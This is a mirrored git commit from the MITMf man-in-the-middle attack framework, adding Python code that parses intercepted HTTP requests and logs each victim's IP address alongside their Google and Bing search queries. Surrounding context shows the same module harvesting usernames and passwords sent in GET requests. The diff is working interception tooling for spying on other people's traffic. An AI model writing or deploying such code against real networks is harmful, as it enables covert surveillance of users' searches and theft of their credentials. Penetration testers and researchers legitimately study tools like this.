mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
fixed bug, MITMf now logs search engine queries
This commit is contained in:
parent
a6ed0eea2a
commit
58bd73bb28
2 changed files with 25 additions and 1 deletions
|
@ -70,6 +70,31 @@ class ServerConnection(HTTPClient):
|
|||
else:
|
||||
logging.info(message)
|
||||
|
||||
#Capture google searches
|
||||
if ('google' in self.headers['host']):
|
||||
if ('search' in self.uri): #and ('search' in self.uri):
|
||||
try:
|
||||
for param in self.uri.split('&'):
|
||||
if param.split('=')[0] == 'q':
|
||||
query = str(param.split('=')[1])
|
||||
if query:
|
||||
logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query))
|
||||
except Exception, e:
|
||||
error = str(e)
|
||||
logging.warning("%s Error parsing google search query %s" % (self.client.getClientIP(), error))
|
||||
|
||||
if ('bing' in self.headers['host']):
|
||||
if ('Suggestions' in self.uri):
|
||||
try:
|
||||
for param in self.uri.split('&'):
|
||||
if param.split('=')[0] == 'qry':
|
||||
query = str(param.split('=')[1])
|
||||
if query:
|
||||
logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query))
|
||||
except Exception, e:
|
||||
error = str(e)
|
||||
logging.warning("%s Error parsing bing search query %s" % (self.client.getClientIP(), error))
|
||||
|
||||
#check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
|
||||
for user in self.http_userfields:
|
||||
username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue